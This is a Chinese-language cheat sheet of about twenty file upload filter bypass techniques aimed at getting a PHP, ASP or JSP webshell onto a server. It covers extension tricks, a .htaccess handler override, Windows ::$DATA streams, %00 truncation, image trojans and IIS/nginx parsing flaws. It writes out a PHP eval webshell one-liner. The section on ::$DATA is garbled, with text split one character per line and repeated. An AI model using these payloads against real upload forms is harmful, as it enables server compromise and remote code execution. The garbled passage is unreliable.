文件上传基础整理
1.0 前端绕过
当文件检测在前端的时候,我们可以使用前端绕过来进行操作,操作如下: 使用burp抓包,修改自己想要的参数即可
2.0 Content-Type方式绕过
通过抓包修改Content-Type方式绕过
3.0 黑名单绕过
$deny_ext = array('.asp','.aspx','.php','.jsp');
语言 | 绕过方案 |
---|
PHP | Php5、php6、php7、phtml、shtml、phtm等 | jsp | jspx、jspf、jspa、jsw、jtml | asp | vbs、aspx、asp{80-90}、cer、asa、asax、cdx |
4.0 .htaccess文件绕过
先上传一个.htaccess,该目录下所有特定文件都会以指定方法解析 .htaccess文件内容
AddType application/x-httpd-php .jpg
# 该文件让当前目录下所有.jpg文件以php方式解析
5.0 后缀大小写绕过
当开发忘记开启后缀转大小写的时候,并且为黑名单过滤时可以尝试这个方法
- .php => .pHp
- .phtml => .PhtMl
6.0 文件后缀空绕过
当开发忘记删除文件后缀的空格时可使用该方法绕过 例如:
".php" != ".php "
".phtml" != ".phtml"
这种方法上传至服务器后因为系统特性,会自动删除 文件就变成了.php
7.0 文件后缀(.)绕过
当开发忘记删除文件后缀的空格时可使用该方法绕过 例如:
".php" != ".php."
".phtml" != ".phtml."
这种方法上传至服务器后因为系统特性,会自动删除. 文件就变成了.php
8.0 ::$DATA(Windows文件流绕过)
当服务器系统为Windows时可以尝试使用文件流来绕过
echo "<?php eval($_REQUESTS[7]); ?>" > 1.txt::$DATA
在cmd执行该命令回生成一个1.txt,若要访问1.txt::
D
A
T
A
则
需
要
在
后
面
加
上
‘
:
:
DATA则需要在后面加上`::
DATA则需要在后面加上‘::DATA` 这便是Windows文件流的特性
绕过方法: 在文件后缀后面加上::$DATA 来进行绕过,上传文件名1.php::
D
A
T
A
,
访
问
文
件
1.
p
h
p
上
传
到
服
务
器
的
文
件
在
W
i
n
d
o
w
s
中
会
自
动
去
掉
:
:
DATA,访问文件1.php 上传到服务器的文件在Windows中会自动去掉::
DATA,访问文件1.php上传到服务器的文件在Windows中会自动去掉::DATA
9.0 构造文件后缀绕过
在文件名后面添加上. . php会解析php. 在文件名后面添加上. . . . . . . php也会解析
10.0 双写文件后缀绕过
当服务器会删除敏感后缀的时候不妨这样
- .php => .phphpp
当删除中间的php以后,就会变回.php
11.0 %00截断绕过(一)GET协议
有些服务器会让你自定义上传路径,我们就可以使用%00截断 比如说: $UploadDir = /www/uploads => $UploadDir = /www/uploads/1.php%00 $File = 1.jpg => $File = 1.jpg 我们直接访问1.php就可以,或者还可以这样玩 $File = 1.jpg => $File = 1.php%00.jpg
仅用于php5.3以下
12.0 %00截断绕过(二)POST协议
GET和POST传参有不一样的地方,即GET传参会经过一次url解码,而POST传参则不会。
仅用于php5.3以下
13.0 图片木马绕过
copy 1.jpg/b + 1.php 123.jpg 使用左侧命令可将两个命令做成一个,通过更改后缀名来执行 图片木马只是保证上传过程中不被拦截,但终归还是要被解析才能运行
14.0 getimagesize图片类型绕过
getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。
- 索引 0 给出的是图像宽度的像素值
- 索引 1 给出的是图像高度的像素值
- 索引 2 给出的是图像的类型,返回的是数字,其中1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM
- 索引 3 给出的是一个宽度和高度的字符串,可以直接用于 HTML 的 标签
- 索引 bits 给出的是图像的每种颜色的位数,二进制格式
- 索引 channels 给出的是图像的通道值,RGB 图像默认是 3
- 索引 mime 给出的是图像的 MIME 信息,此信息可以用来在 HTTP Content-type 头信息中发送正确的信息,如: header(“Content-type: image/jpeg”);
Array
(
[0] => 290
[1] => 69
[2] => 3
[3] => width="290" height="69"
[bits] => 8
[mime] => image/png
)
绕过方式:
copy /b 1.png + 2.txt hack.png 用该命令来将两个图片合成一个 或者直接在文件下方添加一句话内容
15.0 php_exif模块图片类型绕过
需要开启php_exif模块
绕过方式: copy /b 1.png + 2.txt hack.png 用该命令来将两个图片合成一个 或者直接在文件下方添加一句话内容
16.0 二次渲染绕过
通过对比上传下载图片md5来得知图片是否变化 上传图片,下载下来,对比未变化部分,进行更改
17.0 条件竞争绕过
一边上传一边访问,跟服务器抢速度 可以让一个文件写出另一个文件
18.0 move_uploaded_file()截断
00截断绕过
19.0 IIS6.0解析漏洞内存截断
;内存截断 => 1.asp;.jpg /内存截断 => 1.asp/1.jpg 内存截断和00截断类似 但又不相同,具体表现为内存截断访问需要加上后缀
20.0 IIS高版本与nginx解析漏洞
在文件后面加上.php即可
|